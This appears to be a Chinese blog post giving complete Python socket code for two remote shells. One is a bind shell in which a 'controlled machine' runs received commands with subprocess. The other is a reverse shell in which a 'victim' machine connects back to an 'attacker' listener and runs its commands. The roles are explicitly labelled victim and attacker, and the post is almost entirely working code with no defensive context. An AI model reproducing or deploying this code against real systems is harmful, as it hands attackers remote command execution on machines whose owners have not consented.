python shell(socket进阶)

1)服务器和客户端之间实现命令执行(客户端主动连接shell)

服务器(被控机器)
'''----服务器(被控机器)----'''
import socket
import subprocess

def main():

    ADDR = ("localhost", 25000)
    BUFSIZE = 1024

    tcpSerSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcpSerSock.bind(ADDR)
    tcpSerSock.listen(5)

    while True:
        print("等待连接中.....")
        tcpCliSock, addr = tcpSerSock.accept()
        print("收到来自{}的连接".format(addr))

        while True:
            cmd = tcpCliSock.recv(BUFSIZE)
            if not cmd:
                break
            cmd = cmd.decode(encoding='UTF-8')
            res = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE)
            data = res.stdout.read()
            res.stdout.close()
            print(data)   ##通过打印可以看到这里用到的是cp936编码,可直接socket传输
            tcpCliSock.send(data)
        tcpCliSock.close()
    tcpSerSock.close()


if __name__ == '__main__':
    main()
客户端(攻击方)
'''----客户端(攻击方)----'''
import socket

def main():

    HOST = 'localhost'
    PORT = 25000
    BUFSIZE = 1024
    ADDR = (HOST, PORT)

    tcpCliSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcpCliSock.connect(ADDR)

    while True:
        cmd = input("输入需要执行的命令>")
        if not cmd:
            break
        cmd = cmd.encode(encoding='UTF-8')
        tcpCliSock.send(cmd)
        data = tcpCliSock.recv(BUFSIZE)
        if not data:
            break
        data = data.decode(encoding="cp936")
        print(data)

    tcpCliSock.close()

if __name__ == '__main__':
    main()


2)服务器主动发起连接,客户端被动监听(反弹shell)

服务器(受害机)
'''----服务器(受害机)----'''
import socket
import subprocess

def main():

    ADDR = ("localhost", 25000)     ###客户端地址
    BUFSIZE = 1024

    tcpSerSock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcpSerSock.connect(ADDR)

    while True:
        cmd = tcpSerSock.recv(BUFSIZE)
        if not cmd:
            break
        cmd = cmd.decode(encoding="utf-8")
        res = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE)
        data = res.stdout.read()
        tcpSerSock.send(data)
    tcpSerSock.close()


if __name__ == '__main__':
    main()
客户端(攻击方)
'''----客户端(攻击方)----'''
import socket

def main():

    HOST = 'localhost'  ##监听本地的端口,等待来自受害者的shell连接
    PORT = 25000
    BUFSIZE = 1024
    ADDR = (HOST, PORT)

    tcpCliSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcpCliSock.bind(ADDR)
    tcpCliSock.listen(5)
    while True:
        print("等待来自受害机的连接....")
        tcpSerSock,addr = tcpCliSock.accept()
        print("收到来自{}的连接".format(addr))

        while True:
            cmd = input("输入要在受害机上执行的命令>")
            cmd = cmd.encode(encoding="utf-8")
            tcpSerSock.send(cmd)
            data = tcpSerSock.recv(BUFSIZE)
            if not data:
                break
            data = data.decode(encoding="cp936")
            print(data)
        tcpSerSock.close()
    tcpCliSock.close()


if __name__ == '__main__':
    main()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容